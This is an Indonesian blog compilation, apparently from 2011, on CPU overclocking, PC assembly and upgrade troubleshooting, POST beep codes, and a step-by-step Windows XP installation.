Senin, 14 Februari 2011

Perlukah dilakukan Overcloacking ?

Perlukah dilakukan Overcloacking ?
Overclock atau Overclocking adalah mengubah/mengatur kecepatan dari processor/CPU diatas kecepatan normal yang tertera pada processor tersebut.
Teknik atau cara yang dapat dilakukan untuk overclocking yaitu :
1. Meningkatkan Multiplier.
2. Meningkatkan Bus clock.
3. Meningkatkan Bus clock dan Multiplier
Ketiga cara diatas dapat dilakukan secara fisik (hardware) maupun secara software.
• Cara Hardware
Melakukan perubahan pada setting jumper/switch yaitu pada jumper yang mengatur bus clock dan mengatur multiplier.
• Cara software
Melakukan perubahan pada bus clock atau Multiplier dengan mengaturnya pada BIOS melalui softmenu. Umumnya cara overclock semacam ini ada pada motherboard yang baru yang menggunakan jumperless dan BIOS yang memiliki softmenu tersebut.
CPU
Manufacturers spec
Tuning result
Intel Pentium
2½ X 60 MHz = 150 MHz
3 X 66 MHz = 200 MHz
Intel Pentium Pro
3 X 66 MHz = 200 MHz
3½ X 66 MHz = 233 MHz
Intel Pentium II
3½ X 66 MHz = 233 MHz
4 X 75 MHz = 300 MHz
Intel Pentium II
4½ X 100 MHz = 450 MHz
4½ X 117 MHz = 527 MHz
Tabel Contoh Overclocking Pada Intel Pentium
Faktor-faktor yang perlu diperhatikan dalam overclock, diantaranya:
5
:: troubleshooting komputer
1 Bus
Secara umum bus adalah penghubung secara fisik antar unit-unit dalam komputer dan antara komputer dengan dunia luar. Pendapat lain dikatakan bus adalah kumpulan garis atau kawat yang membawa sinyal pada komputer. Bus clock adalah frekuensi kerja dari bus yang ada pada motherboard. Bus clock itu sendiri berbeda-beda pada motherboard, yaitu 25 MHz, 30MHz, 33 MHz, 40 MHz, 50 MHz ini merupakan bus clock dari motherboard 486, sedangkan untuk motherboard Pentium keatas sudah menggunakan bus clock 60 MHz, 66 MHz, 75 Mhz, 83 MHz dan 100 MHz bahkan motherboard sekarang ada yang mampu mendukung sampai 150 MHz. Untuk bus clock >= 100 digunakan untuk prosesor Pentium II, Pentium III atau yangh setara dengannya. Pengguanaan bus clock harus =< dari clock memori agar tidak terjadi crash. Bus clock sering pula dikenal sebagai Bus frekuensi.
Processor
Chip set
System bus speed
CPU speed
Intel Pentium II
82440BX82440GX
100 MHz
350, 400, 450 MHz
AMD K6-2
Via MVP3ALi Aladdin V
100 MHz
250, 300, 400 MHz
Intel Pentium Xeon
82450NX
100 MHz
450, 500 MHz
Intel Pentium III
82440JX
133 MHz
533, 665 MHz
AMD K7
?
200 MHz
600, 800 MHz
tabel CPU clock dan BUS Clock
2. CPU clock & Multiplier
CPU clock atau CPU speed adalah frekuensi kerja dari prosesor. Misalkan Pentium II 350 maka Cpu clocknya 350MHz, artinya tiap detik prosesor akan melakukan 350 juta cycle ‘putaran’ dimana tiap satu cycle prosesor dapat melakukan beberapa operasi sedrhana atau beberapa cycle untuk sebuah operasi yang komplex. Multiplier ‘pengali’ adalah suatu faktor yang menjadi faktor pembanding antara Cpu clock dan bus clock dengan rumus:
CPU clock = Bus clock x multiplier
Misal pentium 350 berarti bila menggunakan bus clock 100 mengunakan multiplier 3,5. Pengaturan multiplier dan bus clock pada pentium biasa dan sampai AMD K6-3 masih menggunakan jumper atau switch, sedangkan untuk motherboard yang ‘jumperless’ menggunakan set BIOS digunakan pada pentium II, pentium III, pentium Xeon.
CPU
Clock factor
Intel Pentium (P54C)
1½, 2, 2½, 3
Intel Pentium Pro
2½, 3, 3½, 4
Cyrix 6x86
2, 3
6
:: troubleshooting komputer
Cyrix 6x86MX (M2)
2, 2½, 3, 3½
Intel Pentium MMX (P55C)
2, 2½, 3, 3½
AMD K5 PR75 - PR133
1, 1½
AMD K5 PR150 and PR166
2
AMD K6-2 and K6-3
4, 4½, 5
Intel Pentium II
2 to 8 (theoretically)
Tabel Multiplier
3. Jumper & Switch
Jumper adalah alat yang berfungsi sebagai saklar dan switch, wujud fisiknya biasanya berupa pin-pin yang menonjol pada motherboard. Sebagai pelengkap jumper disertakan konektor yang berguna untuk menghubungkan pin-pin pada jumper. Umumnya konektor menghubungkan 2 pin. Jumper 2 pin bila pinnya dihubungkan oleh konektor maka jumper berfungsi sebagai saklar sedangkan untuk jumper 3 pin jumper berfungsi sebagai switch, karena kombinasinya bisa 1-2 atau 2-3. Pada motherboard (socket 7) banyak sekali terdapat jumper untuk mengetahui fungsinya digunakan manual motherboard. Switch adalah kumpulan jumper-jumper yang bertugas bersama, pengaturan switch akan berpengaruh pada seluruh pengaturan jumper tersebut. Contoh penggunaannya pada pengaturan Bus clock, multiplier dan CPU voltage pada DFI motherboard super 7.
􀂙 Mengatasi masalah panas
Overclocking akan mengakibatkan timbulnya panas yang cukup berlebihan, jika kita tidak menggunakan pendingin, untuk dapat overclocking dengan aman maka kita harus memiliki sistem pendingin yang baik pula. Sistem pendingin terbagi 2 :
• Software
Banyak sofware yang beredar yang dapat digunakan sebagai software pendingin seperti waterfall dan rain.
• Hardware
dengan memasang heatsink dan kipas pada processor atau memakai hardware khusus, yang memang bekerja sebagai pendingin seperti kyro 1.
􀂙 Dampak Overclock
Dampak negatif overclock:
1. Panas berlebihan pada prosesor karena dipaksa bekerja pada clock yang lebih tinggi, dapat dikurangi dengan penggunaan sistem pendingin yang sudah ada.
2. Kesalahan operasi (pehitungan) prosesor karena akibat panas berlebihan.
Dampak positif overclock:
1. Komputer menjadi lebih cepat seolah-olah bekerja dengan prosesor yang lebih tinggi.
2. Cara termurah meningkatkan kecepatan kerja dari CPU.
3. Dapat membuat prosesor yang tidak ada pada pasaran.
7
:: troubleshooting komputer
Kesalahan atau ketidakberhasilan dalam merakit komputer umumnya disebabkan antara lain :
1. Pemasangan Memori yang tidak benar, Motherboard yang baik akan memberi sinyal suara peringatan bahwa pemasangan memori tidak benar. Cek dan pasang dengan benar.
2. Pemasangan Card AGP atau VGA yang kurang kencang atau pas, Motherboard yang baik akan memberikan sinyal suara peringatan. Cck dan pasang dengan benar.
3. Pemasangan Kabel data untuk HardDisk yang tidak pas atau terbalik. Atau pengaturan posisi Master atau Slavepada HardDisk yang tidak tepat. Betulkan serta check pada jumper HardDisk untuk posisi Master/Slave dan cek dengan autodetect HardDisk pada BIOS.
4. Pemasangan Kabel Data Disk Drive yang tidak pas atau terbalik.
5. Pemasangan panel connector yang tidak tepat sehingga lampu Indicator untuk HardDisk dan Power On tidak aktif.
Pada tabel berikut ini akan diuraikan beberapa gejala yang mungkin timbul pada PC anda setelah anda melakukan perakitan, upgrade ataupun overclock.
Gejala
Sebab
Solusi
Led Indikator menyala terus (satu atau dua)
1. Konektor terbalik
1. Perbaiki
Motor tidak berputar
1. Power supply error
2. ‘Motor On’ sinyal tidak aktif
3. Motor rusak
1. Cek tegangan, konektor, dan kabel Power Supply
2. Cek controller, konektor dan drive pada pin 16
3. Ganti motor
Motor berputar tapi disk tidak ikut berputar
1. Spindle error
1. Cek cengkraman spindle
Pesan seek error
1. Head alignment error
2. Head tidak bisa mencapai track 0
3. Index hole error
1. Sejajarkan
2. Perbaiki
3. Cek sensor led atau mekanik untuk index hole
Cek pin 8
Tidak bisa baca dan tulis
1. Power supply error
2. Head tidak bekerja
3. Head tidak bergerak
4. Index hole error
5. Sambungan ke head putus
6. Drive tidak diset
1. Cek tegangan, konektor, dan kabel power supply
2. Cek mekanisme head, biasanya tekanan head
Cek pin 4
3. Cek mekanisme stepper motor
Cek pin 20
4. Cek sensor led atau mekanik untuk index hole
Cek pin 8
5. Cek sambungannya
6. Cek pin 10,12
Cek drive select jumper
Cek konektor

TROUBLESHOOTING MERAKIT KOMPUTER

TROUBLESHOOTING MERAKIT KOMPUTER
Membongkar PC, tidak lain adalah menguraikan PC yang ada menjadi tinggal komponen-komponennya saja. Semua komponen yang ada terutama yang memang ditambahkan harus kita copot. Hal ini biasa dilakukan untuk proses troubleshooting bila PC Anda mengalami suatu permasalahan (misalnya tidak menyala).
Secara umum yang termasuk dalam komponen PC antara lain : Motherboard, Card Monitor (VGA Card), Sound Card, Prosesor, FDD, HDD, CD-ROM Drive, Port tambahan, dan kabel-kabel penghubung.
1. Komputer bisa diupgrage atau tidak ?
Ada beberapa pertimbangan yang harus dilakukan sebelum proses upgrade dilakukan, diantaranya :
1. Motherboard
Pengecekan Motherboard sangatlah penting karena komponen upgrade tersebut akan dipasangkan pada motherboard, dengan mengetahui kemampuan dari motherboard maka anda dapat leluasa menentukan komponen apa yang dapat diupgrade dan komponen penggantinya tentu yang sesuai dengan motherboard. Berikut ini langkah pengecekan :
• Lakukan cek apakah motherboard “support” atau tidak terhadap komponen yang akan anda tambahkan, meliputi :
• Upgrade RAM, lihat slot yang kosong.
• Upgrade VGA Card, lihat slot yang digunakan oleh VGA yang dulu.
o Baca manual Motherboard, kenali jenis dari slot (PCI, AGP, ISA) yang ada, khusus untuk AGP kenali apakah AGP anda itu AGP 1x, AGP 2x,atau AGP 4x.
o Untuk Upgrade processor, ketahui apakah motherboard anda mendukung terhadap prosesor yang anda inginkan, jika tidak maka ganti motherboard anda,
1
:: troubleshooting komputer
namun perlu diperhatikan agar motherboard anda yang baru ini mendukung kecepatan bus dari prosesor yang anda inginkan (kalau bisa mendukung kecepatan bus terbaru). Jika ternyata motherboard anda sudah mendukung prosesor yang anda inginkan, maka prosesor yang baru itu hendaknya mendukung kecepatan bus yang sama dengan motherboard.
2. Case
Pengecekan Case ini perlu untuk melihat ruang kosong jika kita ingin menambah drive dan jika kita mengganti motherboard, periksa apakah case kita cocok dengan motherboard baru yaitu bagian sumber power, AT atau ATX, jika ternyata motherboard mendukung semuanya tidak apa, namun jika motherboard terbaru umumnya mendukung ATX, jika case kita AT maka terpaksa harus diganti.
3. RAM
Upgrade memory sangat baik, karena akan meningkatkan kecepatan akses dan kerja komputer dan hal itu akan sangat tampak apabila kita menjalankan beberapa aplikasi dalam satu waktu, mis: kita menjalankan windows, kita juga menjalankan aplikasi lain seperti MsOffice, AutoCad, Adobe dan banyak lagi keuntungannya setidaknya anda aman untuk aplikasi software sekaligus.
Langkah yang dapat diambil agar mendapat hasil yang maksimal :
• Kenali memory anda, apa slot jenis yang digunakan oleh memory anda SIMM atau DIMM? Jika menggunakan slot SIMM (72 pin) berarti anda harus menambah tipe yang sama, sebanyak min satu bank SIMM untuk mengupgradenya, untuk tipe SIMM umumnya digunakan EDORAM, satu bank SIMM = 2 keping SIMM. Jika menggunakan slot DIMM (168pin) berati anda harus menambah min satu bank DIMM untuk mengupgradenya, satu bank DIMM = 1 keping DIMM.
• Clock RAM, RAM yang ditambahkan hendaknya memiliki clock yang sama dengan RAM yang sudah ada. Jika ternyata clock RAM yang baru itu lebih cepat/lambat, maka keseluruhan RAM akan bekerja dengan kecepatan clock yang paling rendah diantara keping-keping RAM tersebut. Clock RAM hendaknya juga sama dengan clock dari Motherboard agar didapatkan kerja yang maksimal.
Tips : Upgrade RAM cocok untuk meningkatkan semua kinerja komputer, baik itu aplikasi bisnis, seni maupun game.
4. Processor
Upgrade processor dapat dilakukan melalui 2 hal :
• Membeli kit Upgrade processor, yang dimaksud dengan kit ini, merupakan suatu bentuk paket upgrade dengan menggunakan teknologi overdrive. Tiga vendor – Evergreen Technologies, Kingston Technology dan Power Leap – menawarkan Upgrade CPU dengan aneka prosesor termasuk AMD K6-2 dan K6-III dan Intel Celeron. Namun upgrade processor dengan cara ini kurang disenangi karena ada saja masalah yang timbul seperti
2
:: troubleshooting komputer
kesulitan saat ‘shutdown’, tidak cocok dengan BIOS yang ada sehingga harus mencari atau melakukan update BIOS. Contoh : AcceleraPCI dari Evergreen untuk Celeron.
• Processor baru, merupakan cara upgrade yang paling sering dilakukan namun ada hal-hal yang perlu diperhatikan diantaranya :
• Motherboard anda harus mendukung kecepatan bus dari prosesor
• Clock speed dari prosesor makin cepat makin baik.
• Dukungan cache memory dari processor(L1 cache dan atau L2 cache)
5. Harddisk
Prosesor yang bagus serta RAM yang cukup memadai memang akan mendorong kecepatan kerja dari sebuah PC, namun agar bisa bekerja dengan baik tentu dibutuhkan media penyimpan dengan kapasitas yang cukup besar. Kebutuhan ruang disk yang besar ini disebabkan perkembangan software yang kian lama kian membutuhkan ruang yang banyak. Munculnya pemikiran untuk mengganti harddisk yang dimiliki dengan harddisk lain yang memiliki kapasitas yang lebih besar merupakan salah satu cara untuk mempersiapkan media penyimpan yang lebih besar. Sekarang harddisk yang tersedia di pasaran umumnya berukuran 4,3 GB (minimal) dalam mengupgrade harddisk tentunya kita menginginkan harddisk dengan kapasitas besar yang kita perkirakan aman untuk 2-3 tahun kedepan, bukan hanya itu saja kita juga ingin harddisk dengan teknologi terbaru untuk harddisk IDE/EIDE dengan teknologi Ultra DMA/66 atau Ultra ATA/66 yang secara teoritis dapat mentransfer data 66 megabits per detik, namun hal ini harus dilihat apakah motherboardnya mendukung atau tidak. Untuk anda yang memiliki komputer lama, anda pertama-tama harus mencek BIOS anda apakah dapat menangani harddisk dengan kapasitas besar khususnya harddisk yang berukuran diatas 8.4 GB, jika sekiranya tidak mendukung anda dapat terlebih dahulu melakukan Update BIOS dengan men-download dari vendor mother board anda atau dari vendor BIOS itu sendiri. Jika untuk individu baiknya digunakan harddisk EIDE saja, namun jika untuk Server gunakan jenis SCSI.
6. ZIP DRIVE + Media Penyimpan Lainnya
Jika data yang disimpan itu sering berpindah-pindah dan kapasitasnya besar anda dapat menggunakan ZIP Drive yang memiliki catridge penyimpan yang cukup besar sekitar 100MB atau dengan menggunakan drive Jazz SCSI dengan kapasitas 2 GB dan drive ORB dengan kapasitas 2,2 BG. Suatu tawaran menarik dapat pula anda ambil dengan menggunakan CD-Recordable yang memiliki kapasitas tiap Cdnya sekitar 650MB, hal yang demikian ini sedang populer dikalangan kita khususnya untuk menyimpan file mp3 karena sering dipertukarkan dan sebagai pengganti CD music. Namun agar anda dapat melakukannya anda harus memiliki drive CD-RW nya.
7. Display
Upgrade display mungkin adalah bentuk upgrade yang sering dilakukan orang jika kita hanya melihat komponen tertentu dari display. Namun upgrade display ini terkadang dianggap bukanlah suatu hal yang penting terutama bagi orang yang tidak begitu menyenangi game komputer. Upgrade display itu sendiri meliputi upgrade monitor saja, kartu grafis saja atau kedua-duanya.
3
:: troubleshooting komputer
8. Monitor
Monitor yang kita pilih haruslah monitor yang memiliki dukungan resolusi yang tinggi sehingga tampilan yang dihasilkan akan lebih tajam dan lebih hidup dan memilki dukungan terhadap tampilan warna yang tinggi, bagi para pemilik monitor yang lama dapat menggantinya (jikalau mau) dengan monitor flatscreen yang sudah banyak dipasaran dan tentunya dengan layar yang lebih besar setidaknya 15”. Namun bagi anda yang penggemar game layar yang lebih besar akan lebih memberikan kepuasan semua itu kembali ke “kantong” masing-masing.
9. VGA Card
Namun peningkatan display tidak hanya dari kualitas monitor saja, upgrade kartu grafis juga akan memberikan pengaruh yang tidak sedikit. Jika anda hanya menggunakan komputer anda sebatas dokumen pengolahan kata, operasi pada spreadsheet atau untuk “surving” kartu grafis anda sekarang sudah cukup. Namun jika anda banyak bekerja dengan aplikasi 3D berat atau anda pecandu game maka upgrade kartu grafis dapat menjadi sebuah pilihan yang cukup menggiurkan, terlebih lagi jika motherboard anda memiliki slot AGP, pilihan untuk Upgrade VGA card cukup banyak. Namun dari sekian banyak opsi yang tersedia untuk upgrade VGA yang perlu anda perhatikan dari sebuah kartu grafis adalah kecepatan RAMDACnya – sebuah chip yang mengkonversikan grafik PC kedalam sinyal analog merah, hijau, biru. Yang digunakan oleh monitor. Semakin cepat RAMDAC dari dari sebuah kartu grafis semakin halus gambar yang dihasilkan (semakin bagus kualitasnya). Vga yang menggunakan Chipset RivaTNT2, Voodoo 3, Matrox G400, Savage4 dapat menjadi pilihan terutama bagi anda yang GAME MANIA, serta usahakan memiliki memory VGA min 16 MB
Tips :
1. Pilihlah Kartu grafis dengan kecepatan RAMDAC minimal 250 MHz.
2. Downloadlah driver terbaru dari situs Web pembuatnya
10. Port
Anda mengalami kebingungan ketika ingin menambah komponen komputer anda karena port yang tersedia terlalu sedikit, seperti kamera desktop, scanner, kamera digital yang pada umumnya diproduksi sekarang ini dengan port USB (Universal Serial Bus), periksalah komputer anda apakah memiliki port USB ini. Port USB ini bentuknya seperti colokan persegi kecil yang berada pada panel belakang system. Port USB ini memiliki kecepatan transfer data yang lebih cepat dari port serial biasa sekitar 12 Mbps, USB juga merupakan Plug-and-Play sejati dan hot-swapping (dapat dikoneksi atau diskoneksi dengan peripheral tanpa harus mematikan PC. Jika anda measa membutuhkan port USB ini, hal pertama yang harus anda lakukan cek motherboard anda (ada USB atau tidak) apakah mendukung penambahan port USB (jika tidak ada), bila mendukung anda dapat menghubungi pembuat PC tersebut, untuk mendapatkan adapter yang diperlukan, untuk menghubungkan konektor motherboard ke panel belakang, bila tidak ada anda dapat membeli kartu add-in seperti Entrega 2-port USB upgrade. OS yang butuhkan untuk mendukung USB minimal win 95 OSR-2.
4
:: troubleshooting komputer
11. CD-RW vs DVD
DVD-ROM merupakan salah satu alternatif bagi anda CD-ROM anda sudah usang dan ingin menggantinya, itupun jika anda menginginkannya. DVD-ROM akan memberikan tampilan movie yang lebih baik, sebuah kit DVD-ROM terdiri dari DVD-ROM drive dan decoder card, decoder card dibutuhkan untuk memutar film DVD, karena jia menggunakan decoder MPEG-2 secara software akan memberikan hasil yang kurang bagus, selain itu decoder secara software ini membutuhkan PC high-end dan pemasangan DVD ini juga agak rumit. Sebuah DVD-ROM $200-350$.
CD-RW merupakan alternatif pilihan yang cukup baik bagi anda yang ingin mengganti CD-ROM. CD-RW dapat memungkinkan anda untuk menyinpan data pada disk dan membacanya, selain itupula CD-RW memungkin anda untuk membuat CD musik anda sendiri. Memiliki CD-RW berarti juga anda memiliki sebuah upgrade media penyimpan karena anda dapat menyimpan data anda pada CD dengan kapasitas sekitar 600 MB. Selain itu anda dapat berbisnis dengan memiliki CD-RW seperti yang banyak ditekuni para pemilik CD-RW (namun sifatnya ilegal). Sebuah CD-RW $350-600.

Sabtu, 12 Februari 2011

Toubleshooting PC

Setiap kali komputer dihidupkan secara otomatis akan memulainya
dengan langkah diagnosa yang dikenal dengan POST. POST ini akan
memeriksa dan menguji semua komponen-komponen sistem. Jika saat
POST terjadi problem, suatu pesan akan disampaikan pada pengguna.
Pesan tersebut dapat berupa : pesan tampilan di layar, suara beep,
atau kedua-duanya. Indikasi dari adanya masalah sewaktu POST
dinyatakan :
Kode kesalahan : dua sampai lima digit angka
Pesan kesalahan : pesan singkat dalam bahasa Inggris (ada beberapa
pesan yang menunjukkan problemnya)
Kode beep : suara beep berurutan
11
Dengan sangat bervariasinya pabrik pembuat motherboard dan ROM
BIOS maka kode beep yang diberikan juga bervariasi artinya untuk
kerusakan yang sama akan diberikan kode beep yang berbeda yang
dikarenakan adanya perbedaan pabrik pembuat ROM BIOS atau
motherboard.
Pengujian semua memori termasuk dalam langkah POST ini. Lamanya
pengujian tergantung dari besar kecilnya kapasitas memori yang
terpasang. Akan tetapi POST tidak mengecek semua peralatan
tambahan/perluasan seperti : printer, modem, dsb.
Adapun langkah-langkah POST adalah sbb :
a) Tes CPU: interupsi ditutup, pengetesan flag internal, dan
pengetesan register internal
b) Test checksum ROM BIOS: pengetesan checksum ROM BIOS.
Hasil checksum LSB harus nol.
c) Tes Timer 1: Timer 1 8253 diprogram pada operasi mode 2,
pengecekan pada akses dasar pencacah, pengecekan pada
pencacah.
d) Tes DMAC: pengetesan pada semua saluran register alamat dan
register pencacah DMA, inisialisasi saluran 0 DMA, inisialisasi
timer 1, memulai siklus memori refresh.
e) Tes 16 KB DRAM: pengetesan pada 5 pattern yang berbeda AAH,
55H, FFH, 01H, 00H tulis dan baca kembali.
f) Inisialisasi Interrupt controller: control word dikirim untuk
inisialisasi mode interrupsi, pengesetan vector interupsi di
memori.
g) Tes Interrupt controller: seting dan pengesetan ulang register
interupsi, menempat-kan stack-stack kesalahan interupsi.
h) Inisialisasi Timer 0: timer 0 diinisialisasi pada operasi mode 3, cek
timer 0.
12
i) Tes CRT controller: inisialisasi CRT controller, test RAM video, cek
sebagian parity error, setup mode video melalui pembacaan
konfigura-si, pengujian pewaktuan dan signal sinkronisasi
gambar.
j) Tes DRAM di atas 16KB: pengetesan pada 5 pattern yang
berbeda AAH, 55H, FFH, 01H, 00H tulis dan baca kembali, jika
ada kesalahan akan ditampil-kan alamat kesalahan dan data di
layar.
k) Tes Keyboard: cek keyboard dengan kondisi keyboard reset, cek
penekanan kunci pada keyboard.
l) Tes Disk drive: cek semua card adapter disket dan disk drive yang
terpasang, POST memanggil sistem operasi dari disk.
Langkah-langkah POST di atas dapat diringkas sebagai berikut :
a) Test 1 (Basic System): cek power supply, MPU, bus, dan ROM
(langkah a-b)
b) Test 2 (Extended System): cek system timer, DMAC, 16KB lokasi
awal DRAM dan PIC (langkah c-h)
c) Test 3 (Display): cek sistem pengendali signal video pada card
monitor dan VRAM (langkah i)
d) Test 4 (Memory): cek lokasi DRAM di atas 16KB dengan
disampling / dicuplik (langkah j)
e) Test 5 (Keyboard): cek keyboard (langkah k)
f) Test 6 (Drive): cek adapter card dan peripheral disk drive dan
hard disk (langkah l)
2) Pesan Kesalahan Selama POST
a) Test 1 (Basic System Error), sistem terhenti dengan tanpa
tampilan dan suara beep, walaupun kursor mungkin nampak.
13
b) Test 2 (Extended System Error), satu suara beep panjang diikuti
dengan satu suara beep pendek, dan eksekusi POST terhenti.
c) Test 3 (Display Error), satu suara beep panjang diikuti dengan
dua suara beep pendek, dan POST melanjutkan dengan test
berikutnya.
d) Test 4 (Memory Error), ada tampilan angka yang menunjukkan
kode kesalahan.
e) Test 5 (Keyboard Error), ada tampilan angka yang menunjukkan
kode kesalahan.
f) Test 6 (Drive Error), ada tampilan angka 601, 1780, atau 1781
yang menunjukkan kode kesalahan.
Tabel 1. Kode Suara Kesalahan
Kode Suara Kemungkinan daerah kerusakan
Tanpa beep Power Supply
Beep terus menerus Power Supply
Beep pendek berulang-ulang Power Supply
1 beep panjang dan 1 beep pendek Motherboard
1 beep panjang dan 2 beep pendek Video adapter Card
1 beep pendek dan tidak ada
tampilan
Kabel monitor dan atau tampilan
1 beep pendek dan tidak mau boot Kabel disk, adapter disk atau disk
Tabel 2. Kode Beep pada BIOS AMI
Beep Code Descriptions
1 short DRAM refresh failure
2 short Parity circuit failure
3 short Base 64K RAM failure
4 short System timer failure
5 short Process failure
6 short Keyboard controller Gate A20 error
7 short Virtual mode exception error
8 short Display memory Read/Write test failure
9 short ROM BIOS checksum failure
10 short CMOS shutdown Read/Write error
11 short Cache Memory error
1 long, 3 short Conventional/Extended memory failure
1 long, 8 short Display/Retrace test failed
14
Tabel 3. Award BIOS Beep Codes
Beep Code Description
1 long, 2 short
Indicates a video error has occurred and the
BIOS cannot initialize the video screen to display
any additional information
Any other beep(s) RAM problem.
Tabel 4. IBM BIOS
Beep Code Description
No Beeps No Power, Loose Card, or Short.
1 Short Beep Normal POST, computer is ok.
2 Short Beep POST error, review screen for error
code.
Continuous Beep No Power, Loose Card, or Short.
Repeating Short Beep No Power, Loose Card, or Short.
One Long and one Short
Beep Motherboard issue.
One Long and Two short
Beeps
Video (Mono/CGA Display Circuitry)
issue.
One Long and Three Short
Beeps. Video (EGA) Display Circuitry.
Three Long Beeps Keyboard / Keyboard card error.
One Beep, Blank or Incorrect
Display Video Display Circuitry.
Tabel 5. Kode Pesan Kesalahan
Kode Uraian
1xx Kerusakan sistem board
101 Kerusakan sistem board pada interrupt
102 Kerusakan sistem board pada timer
2xx Kerusakan memory RAM
201 Tes RAM rusak
3xx Kerusakan keyboard
301 Keyboard tidak terespon
6xx Kerusakan POST floppy drive atau adapter
601 Kerusakan floppy drive
17xx Kerusakan hard disk
1701 Kerusakan POST pada unit hard disk
18xx Kerusakan Unit I/O ekspansi
1801 Kerusakan POST pada Unit I/O ekspansi
15
3) Diagnosa umum
Diagnosa ini meliputi : konfigurasi sistem, perubahan konfigurasi
sistem, dan format disk.
4) Diagnosa mencari dan memecahkan kerusakan
Diagnosa ini meliputi tiga kategori, yaitu :
a) software (bad command or file name, disk not ready, internal error,
overflow)
b) configuration error code (configuration too large for memory, 201
error - system unit, 601 parity chech x)
c) system lockup.
Windows XP adalah suatu sistem pengoperasian (operating system) yang paling banyak dipakai sampai saat ini karena selain kemudahan dalam pemakaiannya Windows XP digunakan sebagai standarisasi pembelajaran yang di pakai oleh sekolahan-sekolahan dan perguruan tinggi pada umumnya.

Untuk melakukan penginstalan windows xp diperlukan ketelitian dan kesabaran dalam prosesnya karena memerlukan waktu yang lumayan lama.

Ada beberapa jenis windows xp diantaranya windows xp professional, Home Edition, Media Center Edition, Tablet PC Edition, Starter Edition, Professional x64 Edition, Professional 64-bit Edition For Itanium.

berikut langkah-langkah yang mudah dan lengkap cara menginstal windows xp :

1. Siapkan CD WINDOWS XP

2. Siapkan CD DRIVER MOTHERBOARD

3. Atur bios terlebih dahulu agar prioritas bootingnya dimulai dari CD(DVD)-ROM, caranya:

a. Masuk ke BIOS dengan menekan tombol Del, atau F1, atau juga F2.
Pilih menu Advanced Settings, kemudian carilah ‘Boot Priority’ atau yang sejenis.

b. ubah pengaturanya, agar CDROM jadi urutan yang pertama kemungkinan pilihan ini ada 2 jenis

* menu ‘First boot priority’, ‘Second boot priority’ dll: Aturlah ‘First boot priority’ ke ‘CDROM’ dengan menekan tombol PgDn/Pgup (Page Down/Up) atau +/-.
Atur juga ‘Second boot priority’nya ke HDD0/HDD1.
* Jika menunya ‘Boot priority’: atur ke ‘CDROM, C, A’ atau ‘CDROM, A,

C. dengan menekan tombol PgDn/Up.


Cara paling mudah instal windows xp

gak usah di utak-atik biosnya. biarin aja bios diload masukin CD WINDOWSnya, lalu Restart komputer, trus tekan-tekan F8 atau F10 atau F11 (boleh dicoba satu-satu) nanti bakal muncul opsi boot selection. pilih aja yg ada 'bau' cd-nya. trus enter. selesai deh...ga pake repot-repot...

4. Tunggu beberapa saat sampai muncul tulisan "press any key to boot from CD"


5. Tekan ENTER atau sembarang tombol, lalu proses instalasi akan mengecek hardware komputer anda, kemudian akan muncul tulisan "windows setup"


6. lalu file-file di dalam cd akan di load ke dalam komputer, kemudian akan muncul tampilan "welcome to setup"


7. Tekan "ENTER" untuk menginstal windows xp, "R" untuk repair system windows yang sebelumnya pernah terinstal, "F3" untuk keluar dari proses instalasi, lalu akan muncul (End User Licese Aggrement)


8. Tekan "F8" kemudian proses instalasi akan mencari dan membaca partisi hardisk anda, kemudian akan muncul semua partisi hardisk anda


9. Tekan "ENTER" untuk langsung menginstal windows, "C" untuk membuat partisi hardisk anda, kapasitas partisi sesuai dengan kebutuhan anda, dalam satuan MB, selanjutnya jika anda membuat partisi dengan menekan tombol "C",


10. Kemudian tuliskan kapasitas partisi yang ingin anda buat, seperti terlihat pada gambar diatas, sebagai contoh, misalkan kapasitas hardisk anda 40 GB, lalu anda ingin membagi dua, maka tuliskan 20000,jangan 20, karna partisi satuannya MB, tentunya anda mengerti kan...?? cat" 1GB = 1000 MB


11. Kenudian tekan "ENTER"


12. kemudian pilih "format the partition using the NTFS file system (Quick)" atau "format the partition using the NTFS file system (Quick)" lalu tekan "ENTER"


13. Kemudian arahkan pointer pada posisi "unpartitioned space", lalu tekan "C" maka akan muncul gambar seperti gambar sebelumnya, jika anda cuma membagi 2 partisi saja maka langsung tekan "ENTER" tapi jika anda ingin mempartisi lagi sisa hardisknya maka tinggal di bagi lagi aj, seperti langkah-langkah sebelumnya, mengertikan maksud saya....??
setelah selesai partisi ketika anda menekan "ENTER" seperti yang di jelaskan di atas, setelah itu arahkan poiter di posisi C: partition1 [New Raw], tapi biasanya sudah berada di posisi tersebut, maka anda tinggal menekan "ENTER" saja untuk proses instalasi windows, kemudian akan muncul proses format seperti gambar di bawah ini


14. Setelah selesai format, kemudian windows akan ,menyalin file untuk proses instalasi


15. Setelah proses penyalinan selesai, secara otomatis komputer akan melakukan restart, dalam hal ini untuk mempercepat proses restart, anda bisa langsung menekan "ENTER"


16. Setelah itu akan muncul loading windows


17. selanjutnya proses instalasi windows di mulai 1..2..3...GOoooo muncul layar


18. selanjutnya tinggal menunggu, sambil ngopi jg bisa, biar lebih terinspirasi, eitssss, tp jangan kemana mana dulu,



19. Langsung klik "NEXT"!!!


20. Isi nama dan organisasinya, terserah BOS aja... lalu tekan "NEXT"


21. Masukan serial nombernya, jangan sampe salah ya....!!! kemudian tekan "Next" selanjutnya akan muncul layar administrator, isi aja mau dinamain apa komputernya
kalau mau pake pasword tinggal di isi juga paswordnya, terserah juga mo apa paswordnya.... lalu tekan "Next" maka muncul layar Date and Time Setting


22. Masukan settingan jam dan tanggal, tentukan juga time zone anda, untuk jakarta : pilih GMT+7 Klik "Next" setelah proses instalasi windows delanjutkan


23. Silahkan Menunggu lumayan lama


24. Selanjutnya akan muncul layar work group or computer Domain


25. jika komputer anda terhubung dengan sebuah domain, maka isikan nama domainnya, tapi jika komputer anda stand alone, maka pilih radio button yang paling atas, lalu tekan "Next"


26. Selanjutnya akan muncul display setting,klik "OK"


27. Kemudian windows akan mendeteksi tampilan optimal dari PC anda, Klik "OK"


28. Proses instalasi hampir selesai, selanjutnya akan muncul loading jendela windows


29. Selanjutnya anda akan dibawa masuk ke dalam windows untuk pertama kalinya , tekan "Next"


30. Selanjutnya akan muncul layar "Help Protect Your PC", kemudian pilih "Not Right Now" lalu tekan "Next"


31. Kemudian komputer akan mengecek koneksi ke internet, pilih "Yes" lalu tekan "Next"


32. Kemudian akan muncul pilihan aktivasi windows, lalu tekan "Next"


